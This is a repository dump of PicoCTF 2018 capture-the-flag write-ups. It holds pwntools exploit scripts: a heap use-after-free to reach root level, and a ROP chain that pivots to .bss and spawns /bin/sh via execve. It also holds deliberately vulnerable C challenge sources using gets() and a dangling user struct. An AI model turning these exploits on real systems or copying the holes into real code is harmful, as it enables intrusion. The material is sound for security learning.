print("seed_dictionary: ") 81 | pprint(seed_dictionary) 82 | if local: 83 | p.kill() 84 | else: 85 | p.close() 86 | round_number = 0 87 | else: 88 | print("collision! round_number = " + str(round_number) + ", starting money = " + str(starting_money) + ", guess = " + str(guess)) 89 | print("seed_dictionary: ") 90 | pprint(seed_dictionary) 91 | if len(seed_dictionary[starting_money]) == round_number: # got lucky and guessed 20 92 | seed_dictionary[starting_money].append(result) 93 | money *= 2 94 | round_number += 1 95 | return money, round_number 96 | 97 | def play_game(): 98 | round_number = 0 99 | while True: 100 | if round_number == 0: 101 | p = spawn_process(local=local) 102 | starting_money = get_starting_money(p) 103 | money = starting_money 104 | if starting_money not in seed_dictionary: 105 | seed_dictionary[starting_money] = [] 106 | money, round_number = play_round(p, starting_money, money, round_number) 107 | if round_number >= 3: 108 | money, round_number = play_last_round(p, starting_money, money, round_number) 109 | print("returned from round " + str(round_number-1)) 110 | 111 | 112 | seed_dictionary = {} 113 | round = 0 114 | done = False 115 | 116 | while not done: 117 | play_game() 118 | # Just break out when we get the flag locally 119 | 120 | -------------------------------------------------------------------------------- /PicoCTF2018/misc/scriptme/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ScriptMe 3 | 4 | This is a 500-point, level 3 scripting problem from PicoCTF 2018. 5 | 6 | ### Overview 7 | 8 | ``` 9 | Can you understand the language and answer the questions to retrieve the flag? Connect to the service with nc 2018shell.picoctf.com 7866 10 | ``` 11 | 12 | This is a scripting challenge. The player is presented with the scripting rules: 13 | 14 | ![./rules.png](./rules.png) 15 | 16 | Each problem can be viewed as a formula containing tokens, where a token is a set of consecutive characters only consisting of '(' or ')'. (So, the example adds two tokens, `(())` and `()`.) I first split each problem into tokens. Then I noticed that I could compute the maximum depth of a token. When adding two tokens, I combine them with `absorb-left` if the right token has the higher maximum depth; otherwise, I combine them with `absorb-right`. If the two tokens are of the same depth, I combine them with `combine`. That takes care of the `combined-absorb-right`, `combined-absorb-left`, `absorb-combined-right` and `absorb-combined-left` rules. I therefore implemented `combine`, `absorb-right` and `absorb-left` first. Then I parsed the formulas into arrays of tokens, and processed the tokens from left to right as per the `left-associative` rule. That's the entire logic for the solution -- the rest is just implementation, which follows. 17 | 18 | [Here's](./solve-script-me.py) the Python code, with my unit tests left in. 19 | 20 | Here's the flag: 21 | 22 | ![./script-me-solved.png](./script-me-solved.png) 23 | 24 | ### Comparison to other approaches 25 | 26 | Other solutions reported right after the PicoCTF2018 competition used similar approaches. [findneo](https://ctftime.org/writeup/12068) has a clever use of `reduce()` in Python. 27 | -------------------------------------------------------------------------------- /PicoCTF2018/misc/scriptme/rules.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/misc/scriptme/rules.png -------------------------------------------------------------------------------- /PicoCTF2018/misc/scriptme/script-me-solved.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/misc/scriptme/script-me-solved.png -------------------------------------------------------------------------------- /PicoCTF2018/misc/scriptme/solve-script-me.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | # Script me! 4 | 5 | 6 | # Rule priority: 7 | # 1. 8 | 9 | 10 | from pwn import * 11 | from time import sleep 12 | 13 | 14 | 15 | def get_max_depth(addend): 16 | depth = 0 17 | max_depth = 0 18 | for i in range(0,len(addend)): 19 | if addend[i] == '(': 20 | depth += 1 21 | if depth > max_depth: 22 | max_depth += 1 23 | elif addend[i] == ')': 24 | depth -= 1 25 | else: 26 | print("Error in get_max_depth: unexpected character: " + addend[i]) 27 | return -1 28 | if depth != 0: 29 | print("Error in get_max_depth: unbalanced parentheses in addend: " + addend) 30 | return -1 31 | return max_depth 32 | 33 | def get_a_token(formula): 34 | i = 0 35 | token = '' 36 | while i < len(formula) and formula[i] in '()': 37 | char = formula[i] 38 | token += char 39 | i += 1 40 | # Space over to start of next token 41 | while i < len(formula) and formula[i] not in '()': 42 | i += 1 43 | # truncate formula 44 | if i < len(formula): 45 | formula = formula[i:len(formula)] 46 | else: 47 | formula = '' 48 | return token, formula 49 | 50 | # unit tests for get_a_token 51 | #new_token, new_formula = get_a_token('()') 52 | #print(get_a_token('()')) 53 | #print(get_a_token('(()()(())) + ()()')) 54 | #print(get_a_token('(()()(()))')) 55 | #print(get_a_token('')) 56 | #print(get_a_token('(()()(())) + ()() + ()')) 57 | 58 | def tokenize(formula): 59 | tokens = [] 60 | while len(formula) > 0: 61 | next_token, formula = get_a_token(formula) 62 | tokens += [next_token] 63 | return tokens 64 | 65 | # unit tests for tokenize 66 | #print(tokenize('()')) 67 | #print(tokenize('(()()(())) + ()()')) 68 | #print(tokenize('(()()(()))')) 69 | #print(tokenize('')) 70 | #print(tokenize('(()()(())) + ()() + ()')) 71 | 72 | def combine(token1, token2): 73 | return token1 + token2 74 | 75 | # TODO: I probably need to call add_two again from inside here 76 | def absorb_right(token1, token2): 77 | #depth1 = get_max_depth(token1) # Not efficient but fine 78 | result = token1[0:len(token1)-1] 79 | result += token2 80 | result += ')' 81 | return result 82 | 83 | # TODO: I probably need to call add_two again from inside here 84 | def absorb_left(token1, token2): 85 | result = '(' 86 | result += token1 87 | result += token2[1:len(token2)] 88 | return result 89 | 90 | #print(combine('(())','()')) 91 | #print(absorb_right('((()))','()')) 92 | #print(absorb_right('((()))','(())')) 93 | #print(absorb_left('()', '((()))')) 94 | #print(absorb_left('(())','((()))')) 95 | 96 | def add_two(token1, token2): 97 | depth1 = get_max_depth(token1) 98 | depth2 = get_max_depth(token2) 99 | if depth1 == depth2: 100 | return combine(token1, token2) 101 | elif depth1 > depth2: 102 | return absorb_right(token1, token2) 103 | elif depth1 < depth2: 104 | return absorb_left(token1, token2) 105 | else: 106 | print("Error in add_two: token1 = " + token1 + " and token2 = " + token2) 107 | return -1 108 | 109 | #print(add_two('()','()')) 110 | #print(add_two('((()))','()')) 111 | #print(add_two('()','((()))')) 112 | 113 | def add_all(formula): 114 | tokens = tokenize(formula) 115 | token_index = 0 116 | if len(tokens) < 1: 117 | return '' 118 | while len(tokens)>1: 119 | tmp = add_two(tokens[0],tokens[1]) 120 | tokens[1] = tmp 121 | del(tokens[0]) 122 | return tokens[0] 123 | 124 | #print(add_all('() + ()')) 125 | #print(add_all('() + (()) + ((()))')) 126 | #print(add_all('')) 127 | #print(add_all('(())')) 128 | #print(add_all('((())) + (()) + ()')) 129 | 130 | # unit tests for get_max_depth 131 | #print(get_max_depth('()')) 132 | #print(get_max_depth('(((((())))))')) 133 | #print(get_max_depth('(()()()())')) 134 | #print(get_max_depth('((())')) # should be unbalanced parentheses 135 | #print(get_max_depth('()()()b')) 136 | #print(get_max_depth('((())())')) 137 | 138 | def solve_question(question_number): 139 | q = p.recvuntil(" =") 140 | q = q[0:len(q)-2] 141 | print("q[" + str(question_number) + "] = " + q) 142 | a = add_all(q) 143 | print("a[" + str(question_number) + "] = " + a) 144 | time.sleep(1) 145 | p.send(a + "\n") 146 | time.sleep(0.5) 147 | 148 | p = remote('2018shell2.picoctf.com', 7866) 149 | 150 | p.recvuntil('warmup.\n') 151 | 152 | for question_number in range(4): 153 | solve_question(question_number) 154 | p.recvuntil("Correct!\n") 155 | p.recvuntil("\n") 156 | p.recvuntil("\n") 157 | 158 | solve_question(4) 159 | 160 | 161 | p.interactive() 162 | 163 | -------------------------------------------------------------------------------- /PicoCTF2018/pwn/areyouroot/README.md: -------------------------------------------------------------------------------- 1 | # Are you root? 2 | 3 | This is a 550-point binary exploitation problem (level 3) from PicoCTF 2018. 4 | 5 | ### Problem Description 6 | 7 | Can you get root access through this [service](./auth) and get the flag? Connect with `nc 2018shell.picoctf.com 45906`. [Source](./auth.c). 8 | 9 | ### Reconnaissance 10 | 11 | Initial recon shows we have a 64-bit ELF binary with no PIE: 12 | 13 | ![./initial_recon.png](./initial_recon.png) 14 | 15 | Well, let's start by compiling the source code. There are no obvious security vulnerabilities that show up in compiler warnings. 16 | 17 | This looks like a heap exploitation problem. It looks like maybe there's a use after free vulnerability. Maybe I can delete a new user, then edit the freed block somehow, then create a new user and have their authorization level magically be 5 (root). 18 | 19 | Okay, when a user logs in, they get allocated a struct containing a pointer to their name and an authorization level. It appears that the bug is that when a user logs out, the name is freed, but the struct is not. So, I should be able to give a user a name like "555555555", log out, then create a new user and the struct allocated for the second user will contain the block of memory that previously contained the first user's name. The first eight bytes of that block will get replaced with a pointer to the new name, leaving one character, "5", remaining. I can then try to get the flag without setting auth. 20 | 21 | Let's just try doing that: 22 | 23 | ![./first_attempt.png](./first_attempt.png) 24 | 25 | Not bad! I have an authorization level of 53, not 5. But that's close enough that I should be able to step in with `gdb` and figure out what's generating that 3 and how to get rid of it. 26 | 27 | Okay, the first thing I notice, stepping through the code and reproducing my efforts, is that the name and authorization level both get put in fastbins -- which don't get freed right away when a fastbin is freed. 28 | 29 | Here I've logged in as user "555555555", I logged out, then I logged in as user "4444" and this is the heap after `malloc`ing the second username: 30 | 31 | ![./heap_after_second_login.png](./heap_after_second_login.png) 32 | 33 | Well that looks like exactly what I want! Well, not quite: 34 | 35 | ![./wrong_auth_value.png](./wrong_auth_value.png) 36 | 37 | I want the actual integer `5` to be stored on the stack, not the string representation of it. So my first user must have a name of "55555555\x05". Easy enough. 38 | 39 | That gives me the flag: 40 | 41 | ![./got_flag.png](./got_flag.png) 42 | 43 | Here's the exploit code: 44 | 45 | ```python 46 | ## Exploit areyouroot 47 | ## By Sudoite 48 | 49 | from pwn import * 50 | 51 | local = False 52 | debug = False 53 | if local: 54 | p = process('./auth') 55 | else: 56 | p = remote("2018shell.picoctf.com", 45906) 57 | 58 | if local and debug: 59 | gdb.attach(p, ''' 60 | break *0x400c0c 61 | continue 62 | ''') 63 | # 0x400c0c: malloc(sizeof(user)) 64 | 65 | p.recvuntil("> ") 66 | p.send("login 55555555\x05\n") 67 | p.recvuntil("> ") 68 | p.send("reset\n") 69 | p.recvuntil("> ") 70 | p.send("login 4444\n") 71 | p.recvuntil("> ") 72 | p.send("get-flag\n") 73 | p.interactive() 74 | ``` 75 | 76 | Short and sweet. 77 | 78 | ### Comparison to Other Approaches 79 | 80 | The three write-ups on CTF Time used exactly the same approach. I picked up one `pwntools` technique from [0n3m4ns4rmy](https://github.com/0n3m4ns4rmy/ctf-write-ups/blob/master/Pico%20CTF%202018/root/exploit.py): 81 | 82 | `r.sendafter('> ', 'login ' + 'A'*8 + p64(0x5) + '\n')` 83 | 84 | does the same thing as the syntax I've been using: 85 | ```python 86 | r.recvuntil("> ") 87 | r.send("login AAAAAAAA" + p64(0x5) + "\n") 88 | ``` 89 | 90 | Maybe I'll try that in the future. 91 | -------------------------------------------------------------------------------- /PicoCTF2018/pwn/areyouroot/auth: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/areyouroot/auth -------------------------------------------------------------------------------- /PicoCTF2018/pwn/areyouroot/auth.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | typedef enum auth_level { 7 | ANONYMOUS = 1, 8 | GUEST = 2, 9 | USER = 3, 10 | ADMIN = 4, 11 | ROOT = 5 12 | } auth_level_t; 13 | 14 | struct user { 15 | char *name; 16 | auth_level_t level; 17 | }; 18 | 19 | void give_flag(){ 20 | char flag[48]; 21 | FILE *f = fopen("flag.txt", "r"); 22 | if (f == NULL) { 23 | printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); 24 | exit(0); 25 | } 26 | 27 | if ((fgets(flag, 48, f)) == NULL){ 28 | puts("Couldn't read flag file."); 29 | exit(1); 30 | }; 31 | 32 | puts(flag); 33 | fclose(f); 34 | } 35 | 36 | void menu(){ 37 | puts("Available commands:"); 38 | puts("\tshow - show your current user and authorization level"); 39 | puts("\tlogin [name] - log in as [name]"); 40 | puts("\tset-auth [level] - set your authorization level (must be below 5)"); 41 | puts("\tget-flag - print the flag (requires authorization level 5)"); 42 | puts("\treset - log out and reset authorization level"); 43 | puts("\tquit - exit the program"); 44 | } 45 | 46 | int main(int argc, char **argv){ 47 | char buf[512]; 48 | char *arg; 49 | uint32_t level; 50 | struct user *user; 51 | 52 | setbuf(stdout, NULL); 53 | 54 | menu(); 55 | 56 | user = NULL; 57 | while(1){ 58 | puts("\nEnter your command:"); 59 | putchar('>'); putchar(' '); 60 | 61 | if(fgets(buf, 512, stdin) == NULL) 62 | break; 63 | 64 | if (!strncmp(buf, "show", 4)){ 65 | if(user == NULL){ 66 | puts("Not logged in."); 67 | }else{ 68 | printf("Logged in as %s [%u]\n", user->name, user->level); 69 | } 70 | 71 | }else if (!strncmp(buf, "login", 5)){ 72 | if (user != NULL){ 73 | puts("Already logged in. Reset first."); 74 | continue; 75 | } 76 | 77 | arg = strtok(&buf[6], "\n"); 78 | if (arg == NULL){ 79 | puts("Invalid command"); 80 | continue; 81 | } 82 | 83 | user = (struct user *)malloc(sizeof(struct user)); 84 | if (user == NULL) { 85 | puts("malloc() returned NULL. Out of Memory\n"); 86 | exit(-1); 87 | } 88 | user->name = strdup(arg); 89 | printf("Logged in as \"%s\"\n", arg); 90 | 91 | }else if(!strncmp(buf, "set-auth", 8)){ 92 | if(user == NULL){ 93 | puts("Login first."); 94 | continue; 95 | } 96 | 97 | arg = strtok(&buf[9], "\n"); 98 | if (arg == NULL){ 99 | puts("Invalid command"); 100 | continue; 101 | } 102 | 103 | level = strtoul(arg, NULL, 10); 104 | 105 | if (level >= 5){ 106 | puts("Can only set authorization level below 5"); 107 | continue; 108 | } 109 | 110 | user->level = level; 111 | printf("Set authorization level to \"%u\"\n", level); 112 | 113 | }else if(!strncmp(buf, "get-flag", 8)){ 114 | if (user == NULL){ 115 | puts("Login first!"); 116 | continue; 117 | } 118 | 119 | if (user->level != 5){ 120 | puts("Must have authorization level 5."); 121 | continue; 122 | } 123 | 124 | give_flag(); 125 | }else if(!strncmp(buf, "reset", 5)){ 126 | if (user == NULL){ 127 | puts("Not logged in!"); 128 | continue; 129 | } 130 | 131 | free(user->name); 132 | user = NULL; 133 | 134 | puts("Logged out!"); 135 | }else if(!strncmp(buf, "quit", 4)){ 136 | return 0; 137 | }else{ 138 | puts("Invalid option"); 139 | menu(); 140 | } 141 | } 142 | } 143 | -------------------------------------------------------------------------------- /PicoCTF2018/pwn/areyouroot/first_attempt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/areyouroot/first_attempt.png -------------------------------------------------------------------------------- /PicoCTF2018/pwn/areyouroot/got_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/areyouroot/got_flag.png -------------------------------------------------------------------------------- /PicoCTF2018/pwn/areyouroot/heap_after_second_login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/areyouroot/heap_after_second_login.png -------------------------------------------------------------------------------- /PicoCTF2018/pwn/areyouroot/initial_recon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/areyouroot/initial_recon.png -------------------------------------------------------------------------------- /PicoCTF2018/pwn/areyouroot/wrong_auth_value.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/areyouroot/wrong_auth_value.png -------------------------------------------------------------------------------- /PicoCTF2018/pwn/can-you-gets-me/README.md: -------------------------------------------------------------------------------- 1 | # can-you-gets-me 2 | 3 | This is a 650-point pwning problem from PicoCTF 2018 (level 3). 4 | 5 | ### Problem Description 6 | 7 | Can you exploit the following [program](./gets) to get a flag? You may need to think return-oriented if you want to program your way to the flag. You can find the program in /problems/can-you-gets-me_0_8ac5bddeab74e647cd6d31642246a12a on the shell server. [Source.](./gets.c) 8 | 9 | ## Reconnaissance 10 | 11 | This is a 32-bit ELF binary. Here's checksec run on the file: 12 | 13 | ``` 14 | RELRO STACK CANARY NX PIE RPATH RUNPATH FILE 15 | Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH gets 16 | ``` 17 | 18 | This looks like a classic ROP problem. The executable is statically linked, so I have lots of gadgets to work with. ROPGadget finds 13,209 of them in fact. 19 | 20 | Alright, I want to call `execve("/bin/sh",NULL,NULL)`. So I need to call `int 80` with `0xb` in `eax`, a pointer to "/bin/sh" in `edx`, NULL in `esi` and NULL in `edi`. 21 | 22 | I looked for a number of ways to push `esp` in order to get a pointer to `/bin//sh` on the stack, but could not find one. Accordingly, I did a pivot to the `.bss` section, read `/bin//sh` to that location, and the rest of the ROP chain was straightforward after that. 23 | 24 | ```python2 25 | from pwn import * 26 | 27 | sh = ssh(host='2018shell1.picoctf.com',\ 28 | user='',\ 29 | password='') 30 | 31 | p = sh.process('/problems/can-you-gets-me_0_/gets') 32 | 33 | payload = "A"*28 34 | INT_0x80_ADDR = 0x0806cd95 35 | POP_EAX_ADDR = 0x080b84d6 # : pop eax ; ret 36 | POP_EDX_ADDR = 0x0806f19a #: pop edx ; ret 37 | POP_EBP_ADDR = 0x080483ca # : pop ebp ; ret 38 | POP_EBX_ADDR = 0x080481c9 # : pop ebx ; ret 39 | POP_ECX_ADDR = 0x080dece1 # : pop ecx ; ret 40 | 41 | NEW_ROP_CHAIN_ADDR = 0x080ebdd0 42 | NEW_ROP_STRING_ADDR = 0x080ebdb0 43 | GETS_ADDR = 0x08048899 44 | 45 | payload += p32(POP_EBP_ADDR) 46 | payload += p32(NEW_ROP_CHAIN_ADDR) 47 | payload += p32(GETS_ADDR) 48 | payload += p32(NEW_ROP_STRING_ADDR) 49 | payload += "\n" 50 | p.send(payload) 51 | 52 | payload2 = "/bin//sh" 53 | payload2 += p32(0x0) 54 | payload2 += "D"*24 55 | payload2 += p32(POP_EBX_ADDR) 56 | payload2 += p32(NEW_ROP_STRING_ADDR) 57 | payload2 += p32(POP_ECX_ADDR) 58 | payload2 += p32(0x0) 59 | payload2 += p32(POP_EDX_ADDR) 60 | payload2 += p32(0x0) 61 | payload2 += p32(POP_EAX_ADDR) 62 | payload2 += p32(0xb) 63 | payload2 += p32(INT_0x80_ADDR) 64 | payload2 += "\n" 65 | p.send(payload2) 66 | 67 | p.interactive() 68 | ``` 69 | 70 | And the flag is `picoCTF{rOp_yOuR_wAY_tO_AnTHinG_cca0ace7}`. 71 | 72 | 73 | ### Comparison to Other Approaches 74 | 75 | [EverTokki](https://ctftime.org/writeup/13864) creates a ROP chain that appears to have no null bytes. This write-up also reminded me that instead of moving `%esp` into another register to get a pointer to `/bin//sh`, I can also write `/bin//sh` to writable memory directly, using an instruction such as `mov [edx], eax`. [Dvd848](https://github.com/Dvd848/CTFs/blob/master/2018_picoCTF/can-you-gets-me.md) pointed out to me that the `ROPGadget` tool that I've been using has the `--ropchain` flag, which could make my life easier by pointing out a set of gadgets that write things to memory and even generating most or all of the ROP chain. The other write-ups on CTFTime are variations on this theme, with the exception of [c0wb0yz_fr0m_h3x](https://github.com/MarcoGarlet/CTF-Writeups/blob/master/picoCTF2018/can-you-gets-me/exp.md), who makes the `.bss` section executable and executes shellcode there. 76 | -------------------------------------------------------------------------------- /PicoCTF2018/pwn/can-you-gets-me/exploit-can-you-gets-me.py: -------------------------------------------------------------------------------- 1 | # exploit can-you-gets-me 2 | # by Sudoite 3 | 4 | from pwn import * 5 | 6 | sh = ssh(host='2018shell1.picoctf.com',\ 7 | user='',\ 8 | password='') 9 | 10 | p = sh.process('/problems/can-you-gets-me_0_/gets') 11 | 12 | payload = "A"*28 13 | INT_0x80_ADDR = 0x0806cd95 14 | POP_EAX_ADDR = 0x080b84d6 # : pop eax ; ret 15 | POP_EDX_ADDR = 0x0806f19a #: pop edx ; ret 16 | POP_EBP_ADDR = 0x080483ca # : pop ebp ; ret 17 | POP_EBX_ADDR = 0x080481c9 # : pop ebx ; ret 18 | POP_ECX_ADDR = 0x080dece1 # : pop ecx ; ret 19 | 20 | NEW_ROP_CHAIN_ADDR = 0x080ebdd0 21 | NEW_ROP_STRING_ADDR = 0x080ebdb0 22 | GETS_ADDR = 0x08048899 23 | 24 | payload += p32(POP_EBP_ADDR) 25 | payload += p32(NEW_ROP_CHAIN_ADDR) 26 | payload += p32(GETS_ADDR) 27 | payload += p32(NEW_ROP_STRING_ADDR) 28 | payload += "\n" 29 | p.send(payload) 30 | 31 | payload2 = "/bin//sh" 32 | payload2 += p32(0x0) 33 | payload2 += "D"*24 34 | payload2 += p32(POP_EBX_ADDR) 35 | payload2 += p32(NEW_ROP_STRING_ADDR) 36 | payload2 += p32(POP_ECX_ADDR) 37 | payload2 += p32(0x0) 38 | payload2 += p32(POP_EDX_ADDR) 39 | payload2 += p32(0x0) 40 | payload2 += p32(POP_EAX_ADDR) 41 | payload2 += p32(0xb) 42 | payload2 += p32(INT_0x80_ADDR) 43 | payload2 += "\n" 44 | p.send(payload2) 45 | 46 | p.interactive() -------------------------------------------------------------------------------- /PicoCTF2018/pwn/can-you-gets-me/gets: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/can-you-gets-me/gets -------------------------------------------------------------------------------- /PicoCTF2018/pwn/can-you-gets-me/gets.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define BUFSIZE 16 8 | 9 | void vuln() { 10 | char buf[16]; 11 | printf("GIVE ME YOUR NAME!\n"); 12 | return gets(buf); 13 | 14 | } 15 | 16 | int main(int argc, char **argv){ 17 | 18 | setvbuf(stdout, NULL, _IONBF, 0); 19 | 20 | 21 | // Set the gid to the effective gid 22 | // this prevents /bin/sh from dropping the privileges 23 | gid_t gid = getegid(); 24 | setresgid(gid, gid, gid); 25 | vuln(); 26 | 27 | } 28 | -------------------------------------------------------------------------------- /PicoCTF2018/pwn/echoback/echoback: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/echoback/echoback -------------------------------------------------------------------------------- /PicoCTF2018/pwn/echoback/got_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/echoback/got_flag.png -------------------------------------------------------------------------------- /PicoCTF2018/pwn/echoback/initial_interaction.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/echoback/initial_interaction.png -------------------------------------------------------------------------------- /PicoCTF2018/pwn/echoback/leaking_stack_address.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/echoback/leaking_stack_address.png -------------------------------------------------------------------------------- /PicoCTF2018/pwn/echoback/local_shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/echoback/local_shell.png -------------------------------------------------------------------------------- /PicoCTF2018/pwn/echoback/looping_working.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/echoback/looping_working.png -------------------------------------------------------------------------------- /PicoCTF2018/pwn/echoback/system_at_plt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/echoback/system_at_plt.png -------------------------------------------------------------------------------- /PicoCTF2018/pwn/echoback/wrote_binsh_string.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/echoback/wrote_binsh_string.png -------------------------------------------------------------------------------- /PicoCTF2018/pwn/gps/got_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/gps/got_flag.png -------------------------------------------------------------------------------- /PicoCTF2018/pwn/gps/gps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/gps/gps -------------------------------------------------------------------------------- /PicoCTF2018/pwn/gps/gps.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define GPS_ACCURACY 1337 7 | 8 | typedef void (fn_t)(void); 9 | 10 | void initialize() { 11 | printf("GPS Initializing"); 12 | for (int i = 0; i < 10; ++i) { 13 | usleep(300000); 14 | printf("."); 15 | } 16 | printf("Done\n"); 17 | } 18 | 19 | void acquire_satellites() { 20 | printf("Acquiring satellites."); 21 | for (int i = 0; i < 3; ++i) { 22 | printf("Satellite %d", i); 23 | for (int j = 0; j < rand() % 10; ++j) { 24 | usleep(133700); 25 | printf("."); 26 | } 27 | if (i != 3) { 28 | printf("Done\n"); 29 | } else { 30 | printf("Weak signal.\n"); 31 | } 32 | } 33 | 34 | printf("\nGPS Initialized.\n"); 35 | printf("Warning: Weak signal causing low measurement accuracy\n\n"); 36 | } 37 | 38 | void *query_position() { 39 | char stk; 40 | int offset = rand() % GPS_ACCURACY - (GPS_ACCURACY / 2); 41 | void *ret = &stk + offset; 42 | return ret; 43 | } 44 | 45 | 46 | int main() { 47 | setbuf(stdout, NULL); 48 | 49 | char buffer[0x1000]; 50 | srand((unsigned) (uintptr_t) buffer); 51 | 52 | initialize(); 53 | acquire_satellites(); 54 | 55 | printf("We need to access flag.txt.\nCurrent position: %p\n", query_position()); 56 | 57 | printf("What's your plan?\n> "); 58 | fgets(buffer, sizeof(buffer), stdin); 59 | 60 | fn_t *location; 61 | 62 | printf("Where do we start?\n> "); 63 | scanf("%p", (void**) &location); 64 | 65 | location(); 66 | return 0; 67 | } 68 | -------------------------------------------------------------------------------- /PicoCTF2018/pwn/gps/main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/gps/main.png -------------------------------------------------------------------------------- /PicoCTF2018/pwn/gps/shellcode_generation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/pwn/gps/shellcode_generation.png -------------------------------------------------------------------------------- /PicoCTF2018/web/ASimpleQuestion/got_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/ASimpleQuestion/got_flag.png -------------------------------------------------------------------------------- /PicoCTF2018/web/ASimpleQuestion/manual_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/ASimpleQuestion/manual_flag.png -------------------------------------------------------------------------------- /PicoCTF2018/web/ASimpleQuestion/query1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/ASimpleQuestion/query1.png -------------------------------------------------------------------------------- /PicoCTF2018/web/ASimpleQuestion/query2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/ASimpleQuestion/query2.png -------------------------------------------------------------------------------- /PicoCTF2018/web/ASimpleQuestion/result1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/ASimpleQuestion/result1.png -------------------------------------------------------------------------------- /PicoCTF2018/web/ASimpleQuestion/result2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/ASimpleQuestion/result2.png -------------------------------------------------------------------------------- /PicoCTF2018/web/ASimpleQuestion/sqlmap1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/ASimpleQuestion/sqlmap1.png -------------------------------------------------------------------------------- /PicoCTF2018/web/ASimpleQuestion/sqlmap2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/PicoCTF2018/web/ASimpleQuestion/sqlmap2.png -------------------------------------------------------------------------------- /PicoCTF2018/web/Flaskcards/README.md: -------------------------------------------------------------------------------- 1 | # Flask Cards 2 | 3 | This is a 350-point Web challenge for PicoCTF 2018. 4 | 5 | ### Problem Description 6 | 7 | We found this fishy [website](http://2018shell.picoctf.com:51878/) for flashcards that we think may be sending secrets. Could you take a look? 8 | 9 | ### Solution 10 | 11 | After registering and logging in, the user can enter in a question and 